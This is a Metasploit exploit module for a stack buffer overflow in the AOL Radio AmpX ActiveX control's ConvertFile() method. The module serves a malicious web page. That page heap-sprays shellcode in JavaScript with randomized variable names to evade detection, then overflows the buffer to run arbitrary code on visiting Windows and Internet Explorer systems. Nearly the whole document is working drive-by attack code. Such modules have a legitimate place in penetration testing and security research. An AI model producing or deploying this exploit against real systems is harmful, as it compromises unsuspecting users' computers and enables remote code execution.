AOL Radio AmpX – ActiveX Control ‘ConvertFile()’ Remote Buffer Overflow (Metasploit)
## # $Id: aol_ampx_convertfile.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'AOL Radio AmpX ActiveX Control ConvertFile() Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in AOL IWinAmpActiveX class (AmpX.dll) version 2.4.0.6 installed via AOL Radio website. By setting an overly long value to 'ConvertFile()', an attacker can overrun a buffer and execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Original exploit [see References] 'Trancer <mtrancer[at]gmail.com>' # Metasploit implementation ], 'Version' => '$Revision: 9179 $', 'References' => [ [ 'OSVDB', '54706' ], [ 'BID', '35028' ], [ 'URL', 'http://www.milw0rm.com/exploits/8733' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 250, 'Ret' => 0x0C0C0C0C } ] ], 'DisclosureDate' => 'May 19 2009', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Setup exploit buffers nops = Rex::Text.to_unescape([target.ret].pack('V')) ret = Rex::Text.uri_encode([target.ret].pack('L')) blocksize = 0x40000 fillto = 500 offset = target['Offset'] # Randomize the javascript variable names ampx = rand_text_alpha(rand(100) + 1) j_shellcode = rand_text_alpha(rand(100) + 1) j_nops = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) j_fillblock = rand_text_alpha(rand(100) + 1) j_block = rand_text_alpha(rand(100) + 1) j_memory = rand_text_alpha(rand(100) + 1) j_counter = rand_text_alpha(rand(30) + 2) j_ret = rand_text_alpha(rand(100) + 1) j_eax = rand_text_alpha(rand(100) + 1) j_bof = rand_text_alpha(rand(100) + 1) # Build out the message content = %Q| <html> <OBJECT classid='clsid:FE0BD779-44EE-4A4B-AA2E-743C63F2E5E6' id='#{ampx}'></OBJECT> <script language='javascript'> #{j_shellcode}=unescape('#{shellcode}'); #{j_nops}=unescape('#{nops}'); #{j_headersize}=20; #{j_slackspace}=#{j_headersize}+#{j_shellcode}.length; while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops}; #{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace}); #{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace}); while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock}; #{j_memory}=new Array(); for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode}; #{j_eax}=''; for(#{j_counter}=0;#{j_counter}<=350;#{j_counter}++)#{j_eax}+=unescape('%FF%FF%FF%FF'); #{j_ret}=''; for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}'); #{j_bof}=#{j_eax}+#{j_ret}; #{ampx}.ConvertFile(#{j_bof},1,1,1,1,1); #{ampx}.ConvertFile(#{j_bof},1,1,1,1,1); #{ampx}.ConvertFile(#{j_bof},1,1,1,1,1); #{ampx}.ConvertFile(#{j_bof},1,1,1,1,1); </script> </html> | print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end |